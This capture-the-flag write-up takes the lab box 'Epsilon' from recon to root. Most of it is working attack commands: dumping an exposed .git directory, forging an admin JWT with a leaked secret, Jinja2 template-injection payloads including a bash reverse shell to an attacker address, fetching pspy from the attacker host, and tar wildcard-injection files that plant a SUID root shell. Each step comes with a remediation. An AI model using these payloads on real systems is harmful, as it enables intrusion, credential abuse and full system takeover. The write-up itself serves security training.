Epsilon
Summary
I enumerated a Linux server exposing OpenSSH, Apache, and a Flask web application, then discovered that Apache carelessly served the application's entire .git directory to the public. Downloading the repository and walking its commit history uncovered a hard-coded Flask JWT signing secret and AWS access credentials that had been deleted from the live code but remained readable in the version log. With the JWT secret I forged an administrator-level session cookie and unlocked privileged routes in the Flask application.
The leaked AWS credentials were simultaneously used against a LocalStack service to enumerate deployed Lambda functions. An administrative form in the Flask app passed user-supplied text directly to the Jinja2 template engine, enabling server-side template injection that escalated to arbitrary OS command execution as the web process user and yielded the user flag. Post-exploitation process monitoring revealed a root-owned cron job archiving a web-writable directory with tar and a wildcard glob — a classic injection vector.
By planting files whose names were interpreted by tar as command-line flags, I injected a shell command that ran as root on the next cron tick, producing a SUID root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Service and version scan across the three open ports.
$ nmap -sCV -p 22,80,5000 $TARGETConfirm the .git directory is publicly readable — expect a 'ref: refs/heads/...' response.
$ curl -s http://$TARGET/.git/HEADFixBlock public access to the .git directory on the web serverCritical
Exact commands 4
Reconstruct the repository from the exposed .git endpoint.
$ git-dumper http://$TARGET/.git ./repoList all commits; look for messages referencing credential removal or cleanup.
$ cd repo && git log --onelineSearch the full diff history for credential strings in deleted lines (prefix '-').
$ git log -p | grep -A 5 -B 2 -E 'SECRET_KEY|AWS_ACCESS|AWS_SECRET'Inspect the specific commit to read the deleted secret values in full context.
$ git show <COMMIT_HASH>FixRemove committed secrets from git history and rotate all exposed credentialsCritical
Exact commands 2
Mint an admin JWT; substitute <LEAKED_SECRET_KEY> with the value extracted from git history.
$ python3 -c "import jwt; print(jwt.encode({'username': 'admin'}, '<LEAKED_SECRET_KEY>', algorithm='HS256'))"Verify admin access; expect the admin dashboard rather than a login redirect.
$ curl -s -b "auth=<FORGED_JWT>" http://$TARGET:5000/homeFixGenerate the JWT signing secret randomly and inject it at runtime, never from sourceHigh
Exact commands 3
List deployed Lambda functions using leaked credentials against the LocalStack endpoint on port 4566.
$ AWS_ACCESS_KEY_ID=<LEAKED_KEY_ID> AWS_SECRET_ACCESS_KEY=<LEAKED_SECRET> aws --endpoint-url=http://$TARGET:4566 lambda list-functions --region us-east-1Retrieve function metadata and the pre-signed download URL for the source archive.
$ AWS_ACCESS_KEY_ID=<LEAKED_KEY_ID> AWS_SECRET_ACCESS_KEY=<LEAKED_SECRET> aws --endpoint-url=http://$TARGET:4566 lambda get-function --function-name <FUNCTION_NAME> --region us-east-1Download and inspect the Lambda source for additional logic or hardcoded values.
$ curl -s '<PRESIGNED_S3_URL>' -o lambda.zip && unzip -d lambda_src lambda.zipExact commands 5
Probe for SSTI: response containing '49' confirms template evaluation. Adjust the endpoint path and parameter name to match the actual admin form field.
$ curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home -d "name={{7*7}}"Escalate to OS-level RCE and confirm the process owner.
$ curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home -d "name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"Start a listener on my machine before sending the reverse-shell payload.
$ nc -lvnp 4444Trigger an interactive reverse shell; replace $ATTACKER_IP with your machine's IP.
$ curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"').read()}}"Read the user flag once the shell is active; the actual value is <user.txt>.
$ cat /home/*/user.txtFixNever pass user input to the Jinja2 template engine; use static templates with context variablesCritical
Exact commands 2
Transfer and run pspy to observe root-level processes without elevated privileges; watch for a tar command containing a wildcard path.
$ wget http://$ATTACKER_IP/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64Confirm the web application user can write to the directory the cron archives.
$ ls -la /opt/backupsExact commands 7
Change to the directory the root cron job archives.
$ cd /opt/backupsCreate the payload script that will run as root when the cron fires.
$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh && chmod +x shell.shFilename instructs tar to fire a checkpoint after every 1 archive record.
$ touch './--checkpoint=1'Filename instructs tar to execute shell.sh at each checkpoint — as root.
$ touch './--checkpoint-action=exec=sh shell.sh'Wait for the next cron tick; confirm the SUID bash copy appeared owned by root.
$ sleep 65 && ls -la /tmp/rootbashOpen a root-privileged shell via the SUID copy of bash.
$ /tmp/rootbash -pRead the root flag; the actual value is <root.txt>.
$ cat /root/root.txtFixReplace tar wildcard expansion in root cron jobs and restrict backup directory write accessHigh
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 |
| 5000/tcp | http Werkzeug httpd 2.0.2 (Python 3.8.10) |